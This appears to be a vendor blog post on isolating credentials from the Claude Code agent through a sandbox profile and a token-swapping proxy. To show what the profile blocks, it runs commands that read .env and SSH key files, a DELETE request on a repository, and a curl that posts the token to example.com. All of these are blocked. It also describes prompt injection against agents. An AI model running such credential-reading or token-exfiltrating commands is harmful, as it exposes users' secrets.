If you run Claude Code in a repo that has a .env file, Claude Code can read that file. If your shell has GITHUB_TOKEN exported, Claude Code has it too. That’s not a bug. The agent runs as you, so it gets what you get.
Most of the time nothing bad happens. But the agent also reads a lot of text you didn’t write: issue comments, READMEs, dependency source, web pages. Any of that can contain instructions, and an agent that holds a working token can be talked into using it in ways you didn’t intend. Or it just pastes the value into a log or a test fixture by accident.
This post walks through what actually reduces that risk, and where each approach stops working. At the end there’s a full setup you can copy, with real terminal output.
What people usually do
Put keys in .env and hope. The agent can cat .env like any other file. Adding .env to .gitignore keeps it out of git, not out of the agent’s context.
Keep keys out of the environment. Safer, but now the agent can’t do the work that needs them. You end up pasting a token into the chat “just this once”, which is worse than where you started.
Turn on Claude Code’s permission prompts. These help, but you’re reviewing every command by hand. After an hour most people start approving without reading.
Run it in a sandbox or container. This is the big one, and it’s worth doing. But it solves a different problem than you might think.
Sandboxing is not credential isolation
A sandbox controls what the agent can touch: which files, which network hosts. That’s useful. You can block ~/.ssh, block ~/.aws, and stop the agent from reaching random domains.
But if you pass a GitHub token into the sandbox so the agent can read issues, the agent holds the real token. The sandbox doesn’t know a token that can read issues can also delete a repo. It has no idea what a token is for.
So there are two separate questions:
- What can the agent touch? (files, hosts) That’s the sandbox.
- What can the agent do with a credential? That needs something that looks at each request.
For the second one, the agent shouldn’t hold the real value at all. It gets a placeholder. A proxy outside the agent’s reach checks each outgoing request and only swaps in the real token when the request matches a rule you wrote.
Example: a GitHub token that can only read issues
Here’s the setup I’ll use. Claude Code gets a GitHub token, but only for reading issues. It can’t read the file the token lives in, or ~/.ssh and friends.
I’m using Stashbase for this because it’s what we build, and it does both halves (sandbox and proxy) in one profile. The CLI is open source.
Put the token in a local file (no account needed for this):
echo 'GITHUB_TOKEN=ghp_your_token_here' > .env.local
Then create .stashbase/agents/claude.toml:
egress_hosts = ["api.anthropic.com", "platform.claude.com"]
file = ".env.local"
[filesystem]
deny_read = [".env*", "~/.ssh", "~/.aws", "~/.config/gh"]
deny_write = [".env*", ".git/hooks"]
[secrets.GITHUB_TOKEN]
[[secrets.GITHUB_TOKEN.rules]]
effect = "allow"
hosts = ["api.github.com"]
methods = ["GET"]
paths = ["/repos/*/*/issues*"]
[sandbox]
backend = "native"
What this says, in order:
- The agent can reach Anthropic’s API (so Claude Code works) and nothing else by default.
- The secret comes from
.env.local, and the agent can’t read or write that file itself. Without this line the whole thing is pointless, since the agent could justcatthe file. GITHUB_TOKENis only injected forGETrequests to issue endpoints onapi.github.com. Anything else with that token gets refused.nativeuses the OS sandbox (Seatbelt on macOS, systemd or bubblewrap on Linux). Usedockerif you want a container instead.
Check the policy before running anything
You can ask the CLI what it would do with a request, without loading the secret:
stashbase agent explain --profile claude --host api.github.com --method GET --path /repos/stashbase/cli/issues
Request: GET https://api.github.com/repos/stashbase/cli/issues
Connection: allowed only with an eligible credential below (not in egress_hosts)
Credential GITHUB_TOKEN: eligible for injection (allow rule matches)
And a request it should refuse:
stashbase agent explain --profile claude --host api.github.com --method DELETE --path /repos/stashbase/cli
Request: DELETE https://api.github.com/repos/stashbase/cli
Connection: denied (not in egress_hosts, and no credential is eligible for this request)
Credential GITHUB_TOKEN: not eligible (no allow rule matches)
stashbase agent validate --profile claude is also worth running. When I ran it, it caught something I’d missed:
[WARN] Inherited env: Visible to the agent: GITHUB_PAT_TOKEN, ...
I had an old token exported in my shell profile, and the agent would have inherited it, sandbox or not. Blank those out in the profile under [config_env], or use the Docker backend, which starts with a clean environment.
Test what the agent actually sees
Now run the same things Claude Code might try, but inside the sandbox. I used a plain shell so the output is easy to read:
stashbase agent run --profile claude -- sh
The token in the environment is a placeholder:
$ echo $GITHUB_TOKEN
**STASHBASE_GITHUB_TOKEN**
The file with the real value can’t be read, and neither can SSH keys:
$ cat .env.local
$ cat ~/.ssh/id_ed25519
cat: ~/.ssh/id_ed25519: Operation not permitted
cat .env.local prints nothing because the read is blocked, and the run’s audit log records it as filesystem_denied.
A destructive request with the token gets stopped at the proxy, before it reaches GitHub:
$ curl -X DELETE -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/repos/stashbase/cli
{"error":{"code":"proxy.credential_not_allowed",
"hint":"Blocked by the user's agent profile, not a network error. Ask the user to allow it; retrying will not help.",
"message":"The supplied credential is not allowed for this request."}}
HTTP 403
The hint is written for the agent, so it knows to ask you instead of retrying the same request in a loop.
Sending the token anywhere else doesn’t work either. The connection is refused before any data leaves:
$ curl -s -X POST -d "token=$GITHUB_TOKEN" https://example.com; echo $?
56
The allowed request is the one case where the proxy swaps the placeholder for the real token:
curl -H "Authorization: Bearer $GITHUB_TOKEN" "https://api.github.com/repos/stashbase/cli/issues?per_page=1"
GitHub sees a normal authenticated request and returns the issues. The agent gets the response, but it never sees the token that was used.
When the session ends, the CLI tells you what was blocked:
Agent Proxy blocked 3 requests in this run. Review: stashbase agent allow --session ags_...
If one of those was legit, stashbase agent allow adds a rule for it. Every request is also in a local audit log, without secret values.
Once this works, swap sh for claude:
stashbase agent run --profile claude -- claude
What this does and doesn’t protect against
It does:
- Keep the real token out of Claude Code’s context, logs, and any code it writes.
- Limit what the token can be used for, even if the agent is tricked into trying.
- Stop the agent from reading other credential files on your machine.
- Stop data from going to hosts you didn’t list.
It doesn’t:
- Make allowed requests safe. If you allow
POSTto issues, the agent can still spam your issues. Keep rules as narrow as the task. - Protect anything outside the sandbox. If you run Claude Code without
stashbase agent run, none of this applies. - Cover headers the proxy doesn’t inspect. Placeholders are swapped in supported request headers, so check the credential rules docs for your API.
- Replace reviewing what the agent commits.
On Linux and Docker, filesystem patterns like .env* are expanded when the agent starts, so a new .env file created during the run may not be covered. macOS checks them on every access.
Reproduce it
The profile above is the whole setup. To get started:
curl -fsSL https://stashbase.dev/cli/install.sh | bash
stashbase agent init
agent init asks which agent you use and which secrets it needs, and writes a profile like the one above. The docs cover writing profiles, credential rules, filesystem restrictions, and the Docker sandbox if you’d rather run Claude Code in a container.